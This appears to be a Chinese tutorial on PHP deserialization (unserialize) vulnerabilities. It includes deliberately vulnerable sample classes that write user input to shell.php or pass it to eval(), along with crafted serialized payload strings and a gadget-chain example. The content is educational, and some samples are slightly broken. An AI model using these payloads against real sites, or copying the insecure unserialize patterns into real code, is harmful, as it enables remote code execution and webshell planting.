serialize()

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下:

1
2
3
4
5
6
7
O为存储对象,如果给serialize()传入的是一个数组,那就是A
1为对象名称有1个字符
a为对象名称
1表示有一个值
s表示字符串,i则表示数字
4表示字符串的长度
test为字符串的名称

unserialize()

与serizalize()对应的,unserialize()可以从已存储的表示中创建PHP的值,可以从序列化后的结果中恢复对象(object)。

反序列化漏洞

利用构造函数等

Magic function

php中有一类特殊的方法叫“Magic function”:

1
2
3
构造函数__constru(): 当对象创建(new)时会自动调用,但在unserialize()时是不会调用的。
析构函数__destruct(): 当对象被销毁时会自动调用
__wakeup(): unserialize()时会自动调用

测试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class a{
var $test = "aaa";

function __wakeup(){
echo "__wakeup()函数已被调用";
echo "</br>";
}

function __construct(){
echo "__construct()函数已被调用";
echo "</br>";
}

function __destruct(){
echo "__destruct()函数已被调用";
echo "</br>";
}
}
$class1 = 'O:1:"a":1:{s:4:"test";s:3:"aaa";}';
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
print_r($class1_unser);
echo "</br>";
?>

运行结果如下:

因为没有创建对象,所以构造函数construct()不会被调用,但是wakeup()跟__destruct()函数

wakeup()或destruct()的利用

因为unserialize()后wakeup()或destruct()会直接调用,中间无需其他的过程。因此最好的情况就是一些漏洞/危害代码在wakeup()或destruct()中,从而当我们控制序列化字符串时可以直接取触发它们。如:

通过serialize()得到我们要的序列化字符串,之后再传进去。通过源代码得知,把对象test赋值为”“,再调用unserialize()时会通过__wakeup()把$test写入shell.php中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class a{
var $test = 'aaa';
function __wakeup(){
$fp = fopen("shell.php","w");
fwrite($fp, $this -> test);
fclose($fp);
}
}
$class1 = new a();
$class1 -> test = "<?php phpinfo(); ?>";
$class1_ser = serialize($class1);
print_r($class1_ser);
print("</br>");
$class1_unser = unserialize($class1_ser);
print_r($class1_unser);
?>

运行结果:

shell.php文件

成功写入shell.php文件

但具体的环境多是下面代码这样,我们的test是我们可控的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class a{
var $test = 'aaa';
function __wakeup(){
$fp = fopen("shell.php","w");
fwrite($fp, $this -> test);
fclose($fp);
}
}
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
require "shell.php";
//为显示效果,把这个shell.php包含进来
?>

利用上述代码生成参数O:1:”a”:1:{s:4:”test”;s:18:”“;}

传如参数得:

其他Magic function的利用

有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,最后找到漏洞点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class b{
function __construct($test){
$fp = fopen("shell.php","w");
fwrite($fp, $test);
fclose($fp);
}
}

class a{
var $test = 'aaa';
function __wakeup(){
$obj = new a($this -> test);
}
}

$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
require "shell.php";
?>

这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 \wakeup()函数,从而在new joker()会自动调用对象joker中的\construct()方法,从而把写入到shell.php中:

利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class a{
var $test;
function __construct(){
$this -> test = new b();
}
function __destruct(){
$this -> test -> action();
}
}

class b{
function action(){
echo "b";
}
}

class c{
var $test2;
function action(){
eval($this -> test2);
}
}
$class1 = new a();
unserialize($_GET['test']);
?>

本意上,new一个新的a对象后,调用construct(),其中有new了一个b对象。结束后会调用destruct(),其中会调用action(),从而输出 b。

利用过程,构造序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class a{
var $test;
function __construct(){
$this -> test = new c();
}
}

class c{
var $test2 = "phpinfo();";
}
echo serialize(new a());
?>

1
O:1:"a":1:{s:4:"test";O:1:"c":1:{s:5:"test2";s:10:"phpinfo();";}}

传给test.php,成功利用: